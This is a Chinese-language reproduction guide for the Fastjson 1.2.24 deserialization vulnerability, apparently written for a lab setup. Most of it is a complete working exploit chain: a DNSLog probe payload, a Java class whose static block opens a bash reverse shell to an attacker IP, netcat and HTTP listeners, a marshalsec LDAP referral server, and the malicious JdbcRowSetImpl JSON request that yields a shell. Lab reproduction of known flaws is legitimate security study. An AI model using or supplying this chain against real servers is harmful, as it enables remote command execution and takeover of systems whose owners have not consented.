漏洞复现环境搭建请参考
http://t.csdnimg.cn/vSaaw
kali切换jdk版本请参考
Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客
漏洞原理
Fastjson提供的com.sun.rowset.JdbcRowSetImpl类下的dataSourceName方法支持传入一个RMI/LDAP源,支持远程调用。攻击者只需要创建一个恶意指令类(写入反弹shell等恶意命令),设置RMI/LDAP服务的远程加载指向该恶意类,即可做到远程任意命令执行
漏洞版本
fastjson<=1.2.24
漏洞验证
(1)Web访问,JSON页面
(2)BP抓包,利用DNS回显验证,DNSLog Platform
(3)修改提交方式为POST,加入以下内容,放包,DNS回显则证明漏洞存在
#val的值为DNS申请的域名
Content-Type:application/json
{
"a":{
"@type":"java.net.Inet4Address",
"val":"q6teka.dnslog.cn"
}
}
漏洞利用
(1)创建远程加载类,攻击机创建.java文件,内容如下,并进行java编译生成class文件
#执行反弹shell,注意文件名需要和class类名称创建的一样
import java.lang.Runtime;
import java.lang.Process;
public class getshell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.88.128/8888 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
(2)开启攻击机HTTP服务和反弹shell端口的监听
python3 -m http.server 80
nc -lvvp 8888
(3)开启LDAP服务
#工具获取
git clone https://github.com/RandomRobbieBF/marshalsec-jar
#开启LADP服务,端口6666,指定远程加载类为攻击机上的getshell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.88.128:80/#getshell 6666
(4)回到站点,BP抓包,发送恶意数据,内容如下
Content-Type:application/json
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.88.128:6666/getshell",
"autoCommit":true
}
}
(5)放包,getshell